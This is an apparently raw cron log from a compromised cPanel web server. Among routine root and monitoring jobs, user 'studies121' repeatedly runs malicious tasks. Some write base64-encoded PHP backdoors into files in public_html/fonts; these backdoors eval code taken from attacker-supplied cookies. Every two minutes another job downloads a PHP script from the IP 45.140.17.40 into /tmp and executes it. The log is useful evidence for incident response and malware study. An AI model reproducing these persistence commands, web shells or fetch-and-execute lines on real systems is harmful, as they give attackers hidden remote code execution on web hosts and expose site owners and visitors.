Sep  7 06:23:01 ip-184-168-122-23 CROND[7626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:23:01 ip-184-168-122-23 CROND[7629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:23:01 ip-184-168-122-23 CROND[7630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:23:01 ip-184-168-122-23 CROND[7628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:24:01 ip-184-168-122-23 CROND[7717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:24:01 ip-184-168-122-23 CROND[7720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:24:01 ip-184-168-122-23 CROND[7718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:24:01 ip-184-168-122-23 CROND[7719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:24:01 ip-184-168-122-23 CROND[7721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7857]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:25:02 ip-184-168-122-23 CROND[7860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:25:02 ip-184-168-122-23 CROND[7861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:26:01 ip-184-168-122-23 CROND[7983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:26:01 ip-184-168-122-23 CROND[7986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:26:01 ip-184-168-122-23 CROND[7985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:26:01 ip-184-168-122-23 CROND[7988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:26:01 ip-184-168-122-23 CROND[7987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:27:01 ip-184-168-122-23 CROND[8155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:27:01 ip-184-168-122-23 CROND[8157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:27:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:27:01 ip-184-168-122-23 CROND[8159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:28:01 ip-184-168-122-23 CROND[8262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:28:01 ip-184-168-122-23 CROND[8265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:28:01 ip-184-168-122-23 CROND[8266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:28:01 ip-184-168-122-23 CROND[8267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:28:01 ip-184-168-122-23 CROND[8264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:29:01 ip-184-168-122-23 CROND[8364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:29:01 ip-184-168-122-23 CROND[8365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:29:01 ip-184-168-122-23 CROND[8368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:29:01 ip-184-168-122-23 CROND[8369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:30:02 ip-184-168-122-23 CROND[8506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:30:02 ip-184-168-122-23 CROND[8505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8508]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:30:02 ip-184-168-122-23 CROND[8507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:31:01 ip-184-168-122-23 CROND[8602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:31:01 ip-184-168-122-23 CROND[8604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:31:01 ip-184-168-122-23 CROND[8605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:31:01 ip-184-168-122-23 CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:31:01 ip-184-168-122-23 CROND[8607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:32:01 ip-184-168-122-23 CROND[8724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:32:01 ip-184-168-122-23 CROND[8726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:32:01 ip-184-168-122-23 CROND[8727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:32:01 ip-184-168-122-23 CROND[8728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:32:01 ip-184-168-122-23 CROND[8729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:33:01 ip-184-168-122-23 CROND[8909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:33:01 ip-184-168-122-23 CROND[8911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:33:01 ip-184-168-122-23 CROND[8913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:33:01 ip-184-168-122-23 CROND[8917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:34:01 ip-184-168-122-23 CROND[9032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:34:01 ip-184-168-122-23 CROND[9031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:34:01 ip-184-168-122-23 CROND[9028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:34:01 ip-184-168-122-23 CROND[9030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:34:01 ip-184-168-122-23 CROND[9029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:35:01 ip-184-168-122-23 CROND[9161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
